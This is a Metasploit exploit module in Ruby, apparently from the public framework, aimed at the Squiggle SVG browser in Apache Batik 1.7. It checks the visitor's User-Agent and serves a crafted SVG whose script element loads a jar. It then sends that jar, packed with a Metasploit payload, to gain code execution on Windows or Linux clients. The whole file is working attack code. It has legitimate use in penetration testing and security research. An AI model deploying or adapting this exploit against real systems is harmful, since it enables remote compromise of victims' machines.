1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
16
        'Description' => %q{
17
          This module abuses the SVG support to execute Java Code in the
18
          Squiggle Browser included in the Batik framework 1.7 through a
19
          crafted SVG file referencing a jar file.
20

21
          In order to gain arbitrary code execution, the browser must meet
22
          the following conditions: (1) It must support at least SVG version
23
          1.1 or newer, (2) It must support Java code and (3) The "Enforce
24
          secure scripting" check must be disabled.
25

26
          The module has been tested against Windows and Linux platforms.
27
        },
28
        'License' => MSF_LICENSE,
29
        'Author' => [
30
          'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
31
          'sinn3r',           # Metasploit module
32
          'juan vazquez'      # Metasploit module
33
        ],
34
        'References' => [
35
          ['OSVDB', '81965'],
36
          ['URL', 'http://www.agarri.fr/blog/']
37
        ],
38
        'Payload' => {
39
          'Space' => 20480,
40
          'BadChars' => '',
41
          'DisableNops' => true
42
        },
43
        'DefaultOptions' => {
44
          'EXITFUNC' => 'thread'
45
        },
46
        'Platform' => %w{java linux win},
47
        'Targets' => [
48
          [
49
            'Generic (Java Payload)',
50
            {
51
              'Arch' => ARCH_JAVA,
52
            }
53
          ],
54
          [
55
            'Windows Universal',
56
            {
57
              'Arch' => ARCH_X86,
58
              'Platform' => 'win'
59
            }
60
          ],
61
          [
62
            'Linux x86',
63
            {
64
              'Arch' => ARCH_X86,
65
              'Platform' => 'linux'
66
            }
67
          ]
68
        ],
69
        'Privileged' => false,
70
        'DisclosureDate' => '2012-05-11',
71
        'DefaultTarget' => 0,
72
        'Notes' => {
73
          'Reliability' => UNKNOWN_RELIABILITY,
74
          'Stability' => UNKNOWN_STABILITY,
75
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
76
        }
77
      )
78
    )
79
  end
80

81
  def on_request_uri(cli, request)
82
    agent = request.headers['User-Agent']
83
    jar_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
84
    jar_uri << "/#{rand_text_alpha(rand(6) + 3)}.jar"
85
    rand_text = Rex::Text.rand_text_alphanumeric(rand(8) + 4)
86

87
    if request.uri =~ /\.jar$/
88
      paths = [
89
        [ "Exploit.class" ],
90
        [ "Exploit$1.class"],
91
        [ "META-INF", "MANIFEST.MF"]
92
      ]
93

94
      p = regenerate_payload(cli)
95

96
      jar = p.encoded_jar
97
      paths.each do |path|
98
        1.upto(path.length - 1) do |idx|
99
          full = path[0, idx].join("/") + "/"
100
          if !(jar.entries.map { |e| e.name }.include?(full))
101
            jar.add_file(full, '')
102
          end
103
        end
104

105
        fd = File.open(File.join(Msf::Config.data_directory, "exploits", "batik_svg", path), "rb")
106
        data = fd.read(fd.stat.size)
107
        jar.add_file(path.join("/"), data)
108
        fd.close
109
      end
110

111
      print_status("#{cli.peerhost} - Sending jar payload")
112
      send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive' })
113

114
    elsif agent =~ /Batik/
115
      svg = %Q|
116
      <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
117
      <script type="application/java-archive" xlink:href="#{jar_uri}"/>
118
      <text>#{rand_text}</text>
119
      </svg>
120
      |
121

122
      svg = svg.gsub(/\t\t\t/, '')
123
      print_status("#{cli.peerhost} - Sending SVG")
124
      send_response(cli, svg, { 'Content-Type' => 'image/svg+xml' })
125

126
    else
127
      print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")
128
    end
129
  end
130
end
131

132